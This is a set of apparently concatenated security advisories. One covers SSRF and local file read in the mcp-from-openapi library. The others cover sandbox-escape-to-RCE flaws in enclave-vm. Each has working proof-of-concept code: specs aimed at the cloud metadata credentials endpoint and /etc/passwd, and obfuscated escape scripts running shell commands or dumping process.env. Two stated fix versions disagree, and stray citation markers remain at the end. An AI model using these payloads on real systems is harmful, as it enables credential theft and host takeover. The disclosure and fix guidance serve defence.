Summary

The mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.

Affected Versions

<= 2.1.2 (latest)

CWE

CWE-918: Server-Side Request Forgery (SSRF)

Vulnerability Details

File: index.js lines 870-875

When OpenAPIToolGenerator.initialize() is called, it dereferences the OpenAPI document using json-schema-ref-parser:

javascript this.dereferencedDocument = await importjsonschemarefparser.default.dereference( JSON.parse(JSON.stringify(this.document)) );

No options are passed to .dereference() — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in $ref values, including:

- http:// and https:// URLs (internal services, cloud metadata) - file:// URLs (local filesystem)

This is the default behavior of json-schema-ref-parser — it resolves all $ref pointers by fetching the referenced resource.

Exploitation

Attack 1: SSRF to internal services / cloud metadata

A malicious OpenAPI spec containing:

json { "openapi": "3.0.0", "info": { "title": "Evil API", "version": "1.0" }, "paths": { "/test": { "get": { "operationId": "getTest", "summary": "test", "responses": { "200": { "description": "OK", "content": { "application/json": { "schema": { "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } } } } } } } }

When processed by OpenAPIToolGenerator, the library fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/ from the server, potentially leaking AWS IAM credentials.

Attack 2: Local file read

json { "$ref": "file:///etc/passwd" }

The ref parser reads local files and includes their contents in the dereferenced output.

Proof of Concept

javascript const http = require('http'); const { OpenAPIToolGenerator } = require('mcp-from-openapi');

// Start attacker server to prove SSRF const srv = http.createServer((req, res) => { console.log(SSRF HIT: ${req.method} ${req.url}); res.writeHead(200, {'Content-Type': 'application/json'}); res.end('{"type":"string"}'); });

srv.listen(9997, async () => { const spec = { openapi: '3.0.0', info: { title: 'Evil', version: '1.0' }, paths: { '/test': { get: { operationId: 'getTest', summary: 'test', responses: { '200': { description: 'OK', content: { 'application/json': { schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' } } } } } } } } };

const gen = new OpenAPIToolGenerator(spec, { validate: false }); await gen.initialize(); // Output: "SSRF HIT: GET /ssrf-proof" // The library fetched our attacker URL during $ref dereferencing.

srv.close(); });

Tested and confirmed on mcp-from-openapi v2.1.2. The attacker server receives the GET request during initialize().

Impact

- Cloud credential theft — $ref pointing to http://169.254.169.254/ steals AWS/GCP/Azure metadata - Internal network scanning — $ref values can probe internal services and ports - Local file read — file:// protocol reads arbitrary files from the server filesystem - No privileges required — attacker only needs to provide a crafted OpenAPI spec to any application using this library

Suggested Fix

Pass resolver options to dereference() that restrict which protocols and hosts are allowed:

javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, // Disable file:// protocol http: { // Only allow same-origin or explicitly allowed hosts headers: this.options.headers, timeout: this.options.timeout, } } } );

Or disable all external resolution and require all schemas to be inline:

javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, http: false, https: false } } );

Summary

It is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE).

The issue has been fixed in version 2.11.1.

---

Details

It is possible to obtain the native Object constructor (instead of the SafeObject wrapper). This can be used to get retrieve property descriptors via Object.getOwnPropertyDescriptors, allowing access to properties otherwise restricted by the sandbox.

When a memory limit is set (which is the default), hostmemorytrack, a host object, can be used to escape via the host function constructor.

When this is not the case, a host reference can be obtained via Node's nodejs.util.inspect.custom symbol (which can be triggered, for example, through console.log).

---

Proof of Concept

PoC 1

js const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({ securityLevel: "SECURE", toolHandler: () => {}, });

const result = enclave.run( const op = {}[["proto"]]; const ho = op[["constructor"]];

const glob = ho.getOwnPropertyDescriptors(this);

return { res: glob.hostmemorytrack.value[["constructor"]]("return process")() .getBuiltinModule("childprocess") .execSync("id") .toString() .split("\\n"), };);

result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e));

---

PoC 2

js const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({ securityLevel: "STRICT", toolHandler: () => {}, memoryLimit: 0, });

const result = enclave.run( const op = {}[['proto']]; const ho = op[['constructor']];

const glob = ho.getOwnPropertyDescriptors(this);

const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');

let result; const obj = { [sym]: (depth, option, inspect) => { result = inspect[['constructor']] [['constructor']]('return process')() .getBuiltinModule('childprocess') .execSync('id') .toString(); }, };

glob.safeconsole.value.log(obj); return { result } );

result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e));

---

Impact

This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.

This constitutes Remote Code Execution (RCE) and should be considered Critical severity.

---

Remediation

The issue has been fixed in v2.11.0 with the following hardening measures:

Strengthened intrinsic object isolation Improved console isolation Hardened host callback exposure paths Closed AST validation gaps Added additional defensive checks around constructor access and prototype traversal

All known escape paths demonstrated in the PoCs are now blocked.

Users are strongly advised to upgrade to v2.11.1 or later immediately.

---

Credit

Enclave would like to thank @c0rydoras for responsibly reporting this issue and for providing detailed proof-of-concept examples.

Note: The npm package has moved to @enclave-vm/core (formerly enclave-vm). All fixed versions and guidance refer to @enclave-vm/core.

Summary The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.

Details There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.

PoC The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.

js import { Enclave } from 'enclave-vm';

// Create enclave with a tool handler const enclave = new Enclave({ timeout: 5000, maxToolCalls: 10, maxIterations: 1000, toolHandler: async (toolName, args) => { // Your tool execution logic return { success: true, data: Called ${toolName} }; }, });

// Execute AgentScript code const result = await enclave.run( let res = null, rootProt = null; let a = () =>{ try { a(); } catch (e) { rootProt = e[["proto"]][["proto"]][["proto"]]; res=e.stack } } a(); rootProt[["foo"]] = rootProt[["toString"]][["constructor"]] rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawnsync').spawn(options).output[1].toString())")(); );

Impact Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.

A critical sandbox escape vulnerability exists in enclave-vm (affected: < 2.6.0, patched: 2.7.0) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the host Node.js runtime.

When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor:

Error instance → Error.prototype → Error constructor → Function constructor

With access to the host Function constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as process.env, filesystem, and network.

This breaks enclave-vm’s core security guarantee of isolating untrusted code.

---

Ecosystem Impact (FrontMCP / CodeCall)

FrontMCP is a TypeScript-first framework for building MCP servers, and the CodeCall plugin enables models to orchestrate large toolsets by generating and executing JavaScript plans.

Enclave is the defense-in-depth sandbox layer behind CodeCall (AST validation + runtime sandboxing). If you use FrontMCP CodeCall for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.

---

Live Playground (Safe Exploration & Testing)

To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:

- EnclaveVM Playground: https://enclave.agentfront.dev

This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.

---

Timeline (Fast Fix)

- Fix released: enclave-vm@2.7.0 (Jan 9, 2026) - Advisory published: Jan 13, 2026

---

Proof of Concept

⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.

<details> <summary>Click to expand PoC</summary>

javascript // Vector 35: The Host Error Escape // Purpose: Trigger a Host-side error and traverse its prototype chain // to reach the Host Function constructor.

const s = (...args) => String.fromCharCode(...args);

const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor" const kProto = s(95,95,112,114,111,116,111,95,95); // "proto" const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118); const kPtype = s(112,114,111,116,111,116,121,112,101);

try { const ObjectProto = Object[kPtype]; const lookup = ObjectProto[kLookup]; const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError; try { await callTool('THISTOOLDOESNOTEXISTXYZ', {}); } catch (e) { hostError = e; }

const errProto = getProtoNative.call(hostError); const ErrorCtor = errProto[kCon]; const HostFunc = ErrorCtor[kCon];

const exploitFn = HostFunc(kCode); return exploitFn(); } catch (e) { return e.message; }

</details>

---

Mitigation / Remediation

Immediate action:

Upgrade enclave-vm to 2.7.0+

Defense-in-depth guidance:

Re-create all Error objects crossing the sandbox boundary inside the sandbox realm Strip / freeze prototype chains of host objects Prevent access to host Function constructors Harden tool error handling to avoid leaking host-native objects

---

References

GitHub Security Advisory: https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63 npm package: https://www.npmjs.com/package/enclave-vm Enclave repo: https://github.com/agentfront/enclave FrontMCP docs: https://agentfront.dev/docs CodeCall plugin overview: https://agentfront.dev/docs/plugins/overview EnclaveVM Playground: https://enclave.agentfront.dev/

Factual hooks (for correctness): - GHSA page confirms affected <2.6.0 and patched 2.7.0, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0} - FrontMCP docs explicitly describe CodeCall and that it uses Enclave (AST validation + runtime sandboxing). :contentReference[oaicite:1]{index=1} - FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2} - Enclave repo links the Live Demo at enclave.agentfront.dev. :contentReference[oaicite:3]{index=3} - Release listing shows enclave-vm@2.7.0 dated Jan 9 (fast fix signal). :contentReference[oaicite:4]{index=4} ::contentReference[oaicite:5]{index=5}